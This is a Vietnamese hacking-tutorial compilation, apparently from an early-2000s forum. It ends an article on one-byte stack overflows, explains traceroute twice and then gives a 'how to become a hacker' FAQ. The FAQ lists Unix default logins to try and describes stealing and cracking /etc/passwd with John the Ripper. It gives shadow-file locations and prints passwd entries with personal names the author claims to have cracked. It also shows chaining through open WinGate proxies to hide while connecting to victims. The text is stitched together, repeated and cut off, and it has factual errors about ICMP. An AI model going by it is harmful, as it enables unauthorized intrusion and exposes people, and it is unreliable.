Mặc dù kỹ thuật này khá thú vị, vẫn còn một số vấn đề chưa được giải quyết.Đổi hướng thực thi của một chương trình với chỉ một byte duy nhất của dữ liệu bị làm tràn chắc chắn là có thể làm được, nhưng với những điều kiện nào? Một vấn đề thực tế, tái tạo ngữ cảnh khai thác lỗi có thể là một công việc khó khăn trong một môi trường được bảo vệ hay tệ hơn là phải thực hiện trên máy từ xa. Chúnng đòi hỏi ta cần phải đoán chính xác kích thước stack của tiến trình muốn tấn công. Để giải quyết vấn đền này chúng ta thêm những gì cần thiết cho bộ đệm làm tràn của chúng ta ngay kế giá trị con trỏ nền bảo lưu, nghĩa là nó phải là biến được khai báo đầu tiên trong hàm. Không
cần phải nói, sẽ cần phải lưu ý đến các giá trị đệm (padding). Và làm thế nào để tấn công trên các kiến trúc "big endian"? Chúng ta không thể có khả năng làm gì khi chỉ có thể ghi đè lên byte lớn nhất của con trỏ frame, trừ phi chúng ta có thể với được đến địa chỉ đã bị thay đổi.

Kết luận nghe có vẻ bi đát từ tình huống gần như không thể khai thác được này. Mặc dù tôi sẽ rất ngạc nhiên khi nghe có ai đó đã áp dụng kỹ thuật này vào lỗi trong thực tế, có một điều chắc chắn đối với chúng ta rằng không có vấn đề bộ đệm bị tràn nhỏ hay lớn cũng như không có chuyện lỗ hổng nhỏ hay lớn. Mọi lỗ hổng đều có thể khai thác được, tất cả những gì bạn cần là phải tìm ra cách làm như thế nào

Tìm hiểu về "Traceroute"

Traceroute là gì?

Traceroute là một chương trình cho phép bạn xác định được đường đi của các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.

Một ví dụ về Traceroute!

Traceroute có thể làm được gì? Bạn hãy xem ví dụ sau sẽ rõ!

C:\windows>tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms

Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa chỉ ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắt xích) trên mạng. Đây là đưòng đi của các gói packets:

Netzero(ISP đã gởi dữ liệu đi) -> Spectranet (một nhà công cấp mạng xương sống - Backbone Provider) -> New York ISP -> New York Backbone -> Asia -> South Asia -> India Backbone -> New Delhi Backbone -> một router khác trong New Delhi Backbone -> New Delhi ISP

Như vậy, host có địa chỉ ip 203.94.12.54 nằm ở New Delhi, India, South Asia! Bạn cũng có thể telnet đến 203.94.12.54 trên cổng 13(datetime) để xác định giờ GMT qua đó bạn có thể biết được vị trí của host này(yêu cầu là host 203.94.12.54 phải chạy daemon datetime và được định cấu hình đúng về thời gian)!

Traceroute hoạt động như thế nào?

Trước hết, bạn cần biết về ICMP, TTL và cách làm việc của các routers(bộ định tuyến)!

Những kiến thức cơ bản

ICMP - Internet Control Message Protocol. ICMP được dùng để thông báo các lỗi xảy ra trong quá trình truyền đi của các gói dữ liệu trên mạng. ICMP thuộc tầng vận huyển - Transpoort Layer! Tầng ứng dụng HTTP FTP Telnet Finger SSH DNS
POP3/IMAP SMTP Gopher BGP
Time/NTP Whois TACACS+ SSL DNS SNMP RIP
RADIUS Archie
Traceroute tftp Ping
Tầng vận chuyển
TCP


UDP


ICMP


OSPF


Tầng Internet
IP


ARP


Tầng vật lí Ethernet/802.3 Token Ring (802.5) SNAP/802.2 X.25 FDDI ISDN
Frame Relay SMDS ATM Wireless (WAP, CDPD, 802.11)
Fibre Channel DDS/DS0/T-carrier/E-carrier SONET/SDH DWDM
PPP HDLC SLIP/CSLIP xDSL Cable Modem (DOCSIS)

Tất cả các ICMP messages đều được chuyển đi cùng với các IP datagrams. Mỗi ICMP message được gói trong IP datagram sẽ có dạng như sau:

+---------------------+-------------------------+ | IP Header(20 bytes) | ICMP message (32 bytes) | +---------------------+-------------------------+

Sau đây là cấu trúc của một IMCP message: (tham khảo RFC792 để biết thêm!)

0 7 8 15 16 31 +-----------------+-----------------+-----------------+ | Type (0 or 8) | Code (0) | 16-bit Checksum | +-----------------+-----------------+-----------------+ | Indentifier | sequence number | +-----------------+-----------------+-----------------+ | | | Optional Data (nội dung tùy thuộc vào Type và Code) | | | +-----------------------------------------------------+
trường type có 15 giá trị khác nhau, tùy thuộc vào từng loại ICMP error message cụ thể. Ví dụ type=3 để chỉ định cho thông báo lỗi "Không đến được đích" - "Destination unreachable" error message! trường code = sub-error dùng để xác định chính xác lỗi đã xảy ra. Ví dụ, type=3 và code=0 nghĩa là "Network Unreachable"(không đến được mạng); nếu type=3, code=1 nghĩa là "Host Unreachable"(không đến được host)... TTL - Time to Live. TTL là một trường 8 bit trong IP header(bạn hãy xem lại cấu trúc của IP header!). TTL là thời gian gói dữ liệu tồn tại trên mạng trước khi nó bị bỏ qua. Người gởi dữ liệu đi sẽ xác định một giá trị TTL trước, thường là từ 32 -> 64. Giá trị này sẽ được giảm đi một khi một khi được chuyển qua một bộ định tuyến trên mạng. Khi giá trị này bằng 0, datagram này sẽ bị bỏ qua và giao thức ICMP sẽ báo lỗi về cho người gởi. Điều này sẽ tránh cho datagram này đi vào một vòng lặp vô tận qua các bộ định tuyến.

Mỗi bộ định tuyến khi nhận được IP datagram sẽ giảm giá trị TTL của datagram này đi một. Hầu hết các bộ định tuyến đều không giữ lại datagram này trong thời gian quá 1 giây trước khi chuyển datagram này đi. Nên giá trị TTL có thể coi bằng hop(counter) = số bộ định tuyến mà datagram này vừa vượt qua.

Khi bộ định tuyến nhận được một datagram có trường TTL bằng 0 hoặc 1, nó sẽ không chuyển datagram này đi tiếp. Thay vào đó, nó sẽ bỏ qua datagram này và gởi một ICMP message "Time Exceeded"(quá thời gian) trở lại cho người đã gởi datagram này! Vì ICMP message mà bộ định tuyến gởi trở lại cho người gởi có địa chỉ nguồn - source address là địa chỉ ip của bộ định tuyến này nên người gởi có thể biết được địa chỉ ip của router này!

Cách làm việc của traceroute!

Traceroute gởi một IP datagram có TTL=1 đến hệ thống đích. Router đầu tiên nhận được datagram này sẽ giảm giá trị TTL đi một -> TTL=0 và router này sẽ bỏ qua datagram này(không gởi nó đi tiếp!) và gởi một ICMP error message với địa chỉ ip nguồn là địa chỉ của nó đến máy bạn. Như vậy router có thể xác định địa chỉ ip của router thứ nhất! Sau đó, traceroute sẽ gởi một datagram mới đi với giá trị TTL=2(1+1=2) đến hệ thống đích. Router đầu tiên sẽ giảm giá trị của TTL đi một -> TTL=1(2-1=1) và chuyển datagram này sang router thứ 2. Router thứ 2 nhận được datagram có TTL=1 sẽ giảm TTL=0. Rounter 2 nhận thấy TTL=0 nên nó sẽ không chuyển datagram này đi tiếp. Router 2 sẽ gởi trở lại máy bạn một ICMP error message với địa chỉ ip nguồn là địa chỉ ip của nó(router 2). Như vậy trình traceroute trên máy bạn sẽ biết được router thứ 2 mà datagram đã đi qua. Traceroute sẽ tiếp tục gởi một datagram khác có TTL=3(2+1=3) đi và lặp lại quá trình trên cho đến khi datagram đến được hệ thống đích!

Nếu bây giờ IP datagram đã đến được đích, TTL=1. Host đích sẽ bỏ qua datagram này và nó cũng sẽ không gởi "Time Exceeded" ICMP error message. Như vậy thì bạn sẽ không thể nào biết được là mình đã đến đích chưa?! Traceroute dùng một cơ chế khác như sau:

Traceroute gởi UDP datagrams đến host đích trên các cổng UDP có số hiệu lớn(>30000). Sở dĩ nó chọn các cổng có giá trị lớn vì thường không có ứng dụng nào đang lắng nghe ở các cổng này. Khi host đích nhận được UDP datagram này, nó sẽ gởi trả lại một ICMP error message "Port Unreachable"(không đến được cổng) cho traceroute. Bây giờ thì traceroute có thể phân biệt được sự khác nhau giữa ICMP error message "Time Exceeded" với "Port Unreachable" để biết được đã đến được đích hay chưa?!

Ghi chú: ICMP error message "Time Exceeded" có type=1 và code=0; ICMP eror message "Port Unreachable" có type=3 và code=3

Tổng kết: traceroute gởi UDP datagrams đến host đích với giá trị TTL=1 và được tăng sau mỗi lần để xác định các routers mà datagrams đã đi qua. Mỗi router sẽ gởi trở về một ICMP message "Time Exceeded". Riêng hệ thống đích sẽ gởi trở lại cho traceroute một ICMP message "Port Unreachable". Traceroute dựa vào sự khác biệt này để xác định xem đã đến được đích chưa?!

Ví dụ cuối cùng!

host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms

Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40 bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).

Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương trình traceroute một ICMP message error "Time Exceeded". Traceroute sẽ gởi tiếp một datagram đến hệ thống đích.

Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó sẽ gởi trở lại cho traceroute một ICMP error message "Port Unreachable". Khi nhận được ICMP message này, traceroute sẽ biết được đã đến được hệ thống đích xyz.com và kết thúc nhiệm vụ tại đây.

Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu sao "*"(không biết) và tiếp tục gởi datagram khác đến host đích!

Hy vọng đến đây bạn có hiểu được traceroute làm việc như thế nào!? Chúc bạn vui vẻ !

Những hiểu biết cơ bản nhất để trở thành Hacker

1 . ) Ta cần những gì để bắt đầu ?

Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập
là các bạn hãy dùng HĐH Window 9X , rồI đến các cái khác mạnh hơn đó là Linux
hoặc Unix , dướI đây là những cái bạn cần có :
+ Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….)
+ Một cái trang Web tốt ( HVA chẳng hạn hi`hi` )
+ Một bộ trình duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là
Gozzila )
+ Một công cụ chat tốt ( mIRC ,Yahoo Mass …..)
+ Telnet ( hoặc những cái tương tự như nmap …)
+ Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có
một chút kiến thức về lập trình ( C , C++ , Visual Basic , Pert …..)

2 . ) Thế nào là một địa chỉ IP ?

_ Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu
bởi 1 byte -> !P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có
3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở
lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25,chúng ta có tất cả các
địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà
sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài
địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì
bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.)
_ IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗI
người là duy nhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP
được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết
nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người
ta tìm ra IP của bạn.
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các
cách sau :
+ bạn lướt qua một trang web, IP của bạn bị ghi lại
+ trên IRC, bất kì ai cũng có thể có IP của bạn
+ trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn "do not show
ip" người ta vẫn lấy được nó
+ nếu bạn kết nối với một ai đó, họ có thế gõ "systat –n ", và biết
được ai đang kết nối đên họ
+ nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có
thể tóm được IP của bạn
( Tài liệu của HVA )

3 . ) Làm thế nào để biết được địa chỉ IP của mình ?

_ Trong Window : vào Start èRun đánh lệnh “winipcfg” .
_ Trong mIRC : kết nốI đến máy chủ sau đó đánh lệnh “/dns <your nick>”
_ Thông qua một số trang Web có hiển thị IP .

4 . ) IP Spoofing là gì ?

_ Một số IP có mục đích để xác định một thiết bị duy nhất trên thế
giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao
đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.
Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin
giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát
từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể
vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều
trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi
đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không
có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy
nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và
cần dấu thông tin cá nhân!
( Tài liệu của HVA )

5 . ) Trojan / worm / virus / logicbomb là cái gì ?

_ Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào
máy của ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ
nhân của nó , Cái mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie
………. tuỳ theo ý muốn của ngườI cài nó .
_ virus : Nói cho dễ hiểu thì đây là chương trình vớI những mã đặc biệt
được cài ( hoặc lây lan từ máy khác ) lên máy của nạn nhân và thực hiện
những yêu cầu của mã đó , đa số virut được sử dụng để phá hoạI dữ
liệu hoặc phá hoạI máy tính .
_ worm : Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây
lan khắp bên trong mạng .Cũng giống như Virut , nó cũng có thể phá hoạI dữ
liệu , hoặc nó có thể phá hoạI bên trong mạng , nhiều khi còn làm down cả mang
đó .
_ logicbomb : Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa
chỉ , làm ngập lụt hệ thống , tắt nghẽn đường truyền ( trên server ) hoặc
dùng làm công cụ để “khủng bố” đốI phương ( bom Mail ) :wink: .

6 . ) PGP là gì ?

_ PGP là viết tắt của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự
mã hoá chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu , là
dạng mã hoá an toàn cao sử dụng phần mềm cho MS_DOS , Unix , VAX/VMS và cho những
dạng khác .

7 . ) Proxy là gì ?

_Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những
proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức
thực thi trên dual_homed host hoặc basion host. Những chương trình client của người
sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử
dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết
định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server
sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến
những yêu cầu từ clientđến server, cũng như đáp ứng những yêu cầu của server
đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client .
_ Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host
homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet.
Điều này thường không tiện lợi, và một số người trể nên thất vọng khi
họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này.
Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi
cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ
thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ
thống sử dụng và internet. đường đi là giáng tiếp thông qua dual homed host hoặc
thông qua sự kết hợp giữa bastion host và screening rounter.

( Bài viết của Z3RON3 – tài liệu của HVA )

8 . ) Unix là gì ?

_ Unix là một hệ điều hành ( giống Window ) .Nó hiện là hệ điều hành mạnh
nhất , và thân thiết với các Hacker nhất . Nếu bạn đã trở thành một hacker
thật sự thì HĐH này không thể thiếu đốI vớI bạn . Nó được sử dụng lập
trình ngôn ngữ C .

9 . ) Telnet là gì ?

_ Telnet là một chương trình cho phép ta kết nốI đến máy khác thông qua cổng (
port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là một số
cổng thông dụng :
+ Port 21: FTP
+ Port 23: Telnet
+ Port 25: SMTP (Mail)
+ Port 37: Time
+ Port 43: Whois
_ Ví dụ : bạn có thể gọI Telnet để kết nốI đến mail.virgin.net trên port 25
.

10 . ) Làm thế nào để biết mình đã Telnet đến hệ thống Unix ?
_ Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn
khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ
xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì
cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo
ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một
account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi
bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập
Default Password thử theo bảng sau :

Account-------------------------Default Password


Root-----------------------------------------------Root
Sys------------------------------------------------Sys / System / Bin
Bin-------------------------------------------------Sys / Bin
Mountfsy------------------------------------------Mountfsys
Nuuc-----------------------------------------------Anon
Anon-----------------------------------------------Anon
User------------------------------------------------User
Games---------------------------------------------Games
Install----------------------------------------------Install
Demo-----------------------------------------------Demo
Guest----------------------------------------------Guest


11 . ) shell account là cái gì ?

_ Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị
đầu cuốI ( terminal ) mà vớI nó bạn có thể đánh lệnh đến một máy tính
đang chạy Unix , “Shell” là chương trình có nhiệm vụ dịch những ký tự của
bạn gửi đến rồI đưa vào thực hiện lệnh của chương trình Unix . VớI một
shell account chính xác bạn có thể sử dụng được một trạm làm việc mạnh hơn
nhiều so vớI cái mà bạn có thể tưởng tượng đến được .
Bạn có thể lấy được “shell account” miễn phí tạI trang Web www.freeshell.com
tuy nhiên bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền
cho nó .

12 . ) Làm cách nào để bạn có thể crack Unix account passwords ?

_ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu”
rồI , các bạn có thể crack được chúng nếu các bạn may mắn , còn không thì
các bạn đọc để tham khảo .
_ Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách
hàng hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy được mật
khẩu được cất dấu trong những hệ thống chuẩn như :

/etc/passwd

mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống như hàng
này :

userid:password:userid#:groupid#:GECOS field:home dir:shell

trong đó :
+ userid = the user id name : tên đăng nhập : có thể là một tên hoặc một số .
+ password : mật mã . Dùng để làm gì hẳn các bạn cũng biết rồI .
+ userid# : là một số duy nhất đựơc thông báo cho ngườI đăng ký khi họ đăng
ký mớI ở lần đầu tiên .
+ groupid# : tương tự như userid# , nhưng nó được dùng cho những ngườI đang ở
trong nhóm nào đó ( như nhóm Hunter Buq của HVA chẳng hạn )
+ GECOS FIELD : đây là nơi chứa thông tin cho ngườI sử dụng , trong đó có họ
tên đầy đủ , số điện thoại , địa chỉ v.v…. . Đây cũng là nguồn tốt
để ta dễ dàng crack một mật khẩu .
+ home dir : là thư mục ghi lạI hoạt động của người khách khi họ ghé thăm (
giống như mục History trong IE vậy )
+ Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login .
_ Hãy lấy file password , lấy file text đã mã hoá về , sau đó bạn dùng chương
trình "CrackerJack" hoặc "John the Ripper" để crack .
_ Các bạn thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn
để bạn có thể crack được vì hầu hết bây giờ họ cất rất kỹ , hãy đọc
tiếp bạn sẽ thấy khó khăn chỗ nào .

13 . ) shadowed password là cái gì ?

_ Một shadowed password được biết đến là trong file Unix passwd , khi bạn nhập
một mật khẩu , thì ngườI khác chỉ thấy được trình đơn của nó ( như ký
hiệu “ X ” hoặc “ * ” ) . Cái này thông báo cho bạn biết là file passwd đã
được cất giữ ở nơi khác , nơi mà một ngườI sử dụng bình thường không
thể đến được . Không lẽ ta đành bó tay , dĩ nhiên là đốI vớI một hacker
thì không rùi , ta không đến được trực tiếp file shadowed password thì ta hãy tìm
file sao lưu của nó , đó là file Unshadowed .
Những file này trên hệ thống của Unix không cố định , bạn hãy thử vớI lần
lượt những đường dẫn sau :

AIX 3 /etc/security/passwd !
or /tcb/auth/files/<first letter #of username>/<username>
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure
maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb =20


Trước dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng ,
hãy căn cứ vào hệ thông thật sự bạn muốn lấy rồI lần theo đường dẫn
phía sau dấu “/”đầu tiên .
Và cuốI cùng là những account passwd mà tôi từng crack được , có thể bây giờ
nó đã hết hiệu lực rồI :

arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh
arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh
arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh
arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh
aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh


Để bảo đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là ký
hiệu “ x ” , các bạn hãy tìm hiểu thông tin có được từ chúng xem .

14 . ) Vitual port là gì ?

_ Vitual port ( cổng ảo ) là 1 số tự nhiên đựợc gói ở trong TCP(Tranmission
Control Protocol) và UDP(User Diagram Protocol) header. Như mọi nguòi đã biết, Windows có
thể chạy nhiều chương trình 1 lúc, mỗi chương trình này có 1 cổng riêng dùng
để truyền và nhận dữ liệu. Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy
WebServer, FTP_Server, POP3 server, etc, những dịch vụ này đều đuọc chạy trên 1 IP
address là 127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của
chúng ta phân biệt được gói tin này đi vào dịch vụ nào WebServer hay FTP server
hay SM! TP? Chính vì thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định,
ví dụ FTP có port mặc định là 21, web service có port mặc định là 80, POP3 là
110, SMTP là 25 vân vân.... Người quản trị mạng có thể thay đổi số port mặc
định này, nếu bạn ko biết số port trên một máy chủ, bạn ko thể kết nối
vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến PORT MAPPING nhưng có
lẽ chưa biết nó là gì và chức năng thế nào. Port mapping thực ra đơn giản
chỉ là quá trình chuyển đổi số port mặc định của một dịch vụ nào đó
đến 1 số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng
có lẽ bạn vẫn thấy http://www.xxx.com:8080 , 8080 ở đây chính là số port của
host xxx nhưng đã đuợc nguòi quản trị của host này "map" từ 80 thành 8080.

( Tài liệu của HVA )

15 . ) DNS là gì ?

_ DNS là viết tắt của Domain Name System. Một máy chủ DNS đợi kết nối ở cổng
số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải kết
nối đến cổng số 53. Máy chủ chạy DNS chuyển hostname bằng các chữ cái thành
các chữ số tương ứng và ngược lại. Ví dụ: 127.0.0.1 --> localhost và
localhost--->127.0.0.1 .

( Tài liệu của HVA )

16 . ) Đôi điều về Wingate :

_ WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí
dụ: bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều
proxy khác nhau có thể che giấu bạn .
_ Làm sao để Wingate có thể che dấu bạn ? Hãy làm theo tôi : Bạn hãy telnet trên
cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate > .
Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và cổng
bạn muốn kết nối vào. VD :

telnet wingate.net
WinGate> victim.com 23

ta telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate . lúc này IP
trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó
.
_ Làm sao để tìm Wingate ?
+ Nếu bạn muốn tìm IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang
tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có
WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những
máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay Domain scanners và scan
Port 1080 .
+ Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates
bạn có thể dùng Domscan hoặc các chương trình quét khác . Nếu dùng Domscan bạn
hãy nhập khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đã
có kết quả , bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm đựơc (
đã hướng dẫn ở trên ), nếu nó xuất hiện dấu “Wingate >” thì bạn đã tìm
đúng máy đang sử dụng Wingate rồI đó .
+ Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài , nó có rất
nhièu trên mạng .

17 . ) Đôi điều về Traceroute :

_ Traceroute là một chương trình cho phép bạn xác định được đường đi của
các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.
_ bạn hãy xem VD sau :

C:\windows>tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms


Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa
chỉ ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các
gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắc xích)
trên mạng. Đây là đưòng đi của các gói packets .
_ Bạn hãy xem VD tiếp theo :

host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms


+ Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này
còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40
bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).
+ Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá
trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương
trình traceroute một ICMP message error "Time Exceeded". Traceroute sẽ gởi tiếp một
datagram đến hệ thống đích.
+ Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã
giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó
